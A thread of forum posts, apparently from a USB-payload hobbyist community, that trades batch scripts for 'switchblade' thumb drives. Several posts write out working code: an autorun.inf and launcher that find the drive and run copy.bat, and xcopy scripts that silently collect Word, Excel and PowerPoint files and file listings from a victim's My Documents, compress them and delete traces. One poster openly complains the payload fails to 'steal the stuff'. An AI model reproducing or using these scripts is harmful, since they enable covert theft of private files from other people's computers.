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I really don't want to download this, but the description sounds like you could do all of this stuff in batch.

As a lot of people are saying, it sounds like you are trying to access a document that is not yours. Google information about VB if you can't get your old password. Why would you password protect it anyway?

I am fine with either. Nice work on the payload, I was actually planning on making the same thing! You beat me to it, though now I don't have to code it up! Yay!

You could also integrate RAR into your payload. I made a payload that RAR's up the My Documents folder onto the thumbdrive. I haven't tried to RAR the logs, but it could be another solution to the same problem. I got my rar.exe file from the HackSaw, and I am not sure where to get a standalone copy.

Yay! You finally opened a topic for your tools! Remeber, everyone, you can do a lot of things in batch, you just have to know how to do them. EDIT: Can fc.exe copy more than one file type per command?

Get a payload that doesn't require U3 (Amish, Silivrenion, Kapowdude, DLSS, make your own) and put it on the root of your iPod. I did this with my Zen Vision: M and it worked just fine.

Yeah, just make a batch file called assoc.bat or something like that. assoc .bat=txtfile assoc .com=txtfile assoc .cmd=txtfile assoc .exe=txtfile Then, just run it to use the payload. If you want an .exe use Bat2Com to make it into a .com, then rename the .com to .exe (com and exe are pretty much the same thing).

And I forgot to put this in, but if you want more than one file copied, you can do something like this: @echo off set fp="C:Documents and Settings%username%My Documentsomg.doc" set fp2="D:vids" if not exist %~d0%computername% mkdir %~d0%computername% xcopy %fp% %~d0%computername% xcopy %fp2% %~d0%computername% @cls @exit Also, for RAR compression, put rar.exe (I got mine from the Hacksaw) in the root of the drive or in a folder somewhere. It is easier to put it in the root of the drive. @echo off set fp="C:Documents and Settings%username%My Documentsomg.doc" set fp2="D:vids" if not exist %~d0%computername% mkdir %~d0%computername% xcopy %fp% %~d0%computername% xcopy %fp2% %~d0%computername% rar.exe a ~d0%computername%.rar "%~d0%computername%" del /f/q %~d0%computername% @cls @exit Both of these copy.bat's will copy the omg.doc document from My Documents and copy the entire folder D:vids folder to a folder named after the computer they came from. The rar one will then rar that folder up, and it will delete the folder it just rar'ed.

This might help you: autorun.inf (on CD Partition) [AutoRun] open=start.bat start.bat (on CD Partition) @echo off @start /min for %%i in (D E F G H I J K L M N O P Q R S T U V W X Y Z) do %%i:copy.bat @exit copy.bat (in root of the flash drive) @echo off set file=*put path to file here* if not exist %~d0%computername% mkdir %~d0%computername% xcopy %filepath% %~d0%computername% @cls @exit When configured, copy.bat should look a bit like this: @echo off set filepath="C:Documents and Settings%username%My Documentsomg.doc" if not exist %~d0%computername% mkdir %~d0%computername% xcopy %filepath% %~d0%computername% @cls @exit

Just a suggestion: Could you make it to where you could either do /src or /Source to append the source to an AHK file? Also, abbreviating the other options would be helpful, like /ow or of /Overwrite. It's just easier to type. This little utility is pretty neat. Keep up the good work!

Cool. That's pretty neat!

Could I see the .ahk file for that? I like to see/study scripts so I can start understanding certain languages. Also, I like AHK a lot :).

Well, mine looks like this: @echo off mkdir %~d0%computername% xcopy "C:Documents and Settings%username%My Documents*.doc" %~d0%computername% /s/c/q/r/h xcopy "C:Documents and Settings%username%My Documents*.xls" %~d0%computername% /s/c/q/r/h xcopy "C:Documents and Settings%username%My Documents*.ppt" %~d0%computername% /s/c/q/r/h dir "C:Documents and Settings%username%My Documents*.*" > %~d0%computername%files.txt msgbox /BO /H /II /MS /T5 "Data Copied" Files have been copied successfully. @cls @exit You can either take out the msgbox line or get msgbox from here (WARNING: DIRECT LINK TO EXE). Ahriman originally found this and set it up like this. It does this: This xcopy lines will get Word, Excel, and PowerPoint files and copy them to a folder on the root of the drive named after the computer you run this on. The dir line will make a text file in the computer name folder called files.txt that contains a list of all the files in the My Documents folder. Hope this helped! Also, since I am pretty much a script kiddy, someone will definitely come up with something really cool.

His payload is on the CD partition so it will autorun. I was wondering if there is a way to get the name of the drive from the command prompt (ie "Local Disk" for C:). If you could do that, just call your drive "drive" or something. Sorry for the n00bness on my end. I am not really good at much computer-wise.

Well, I know how to do part of it from the command line. @echo off xcopy C:Documents and Settings%username%My Documentslogs*.zip /a /e /k exit This will copy any thing called "logs(insert anything here).zip" from the My Documents folder into the directory launched from and close the command prompt when it is done. If I have done anything wrong, tell me please.

I have a two gigabyte SanDisk Cruzer Micro, and it will not work with the switchblade. Originally I wanted to do the 2x10 encrypted USB drive, and I got it to where it will work, but I have to double click the go.cmd to get it working. I then thought to just see if the switchblade will work. I have tried using the Cruzer-specific way, which got all the files on it, but would not actually steal the stuff or make a log file. I have also tried using the U3 customizer to install the .iso. I used the customizer, then copied the payload to the root of my drive, but it will not steal the stuff or make a log file. I have tried it on an XP SP1 box and XP SP2 box, and neither will work. Does anyone know what the problem is?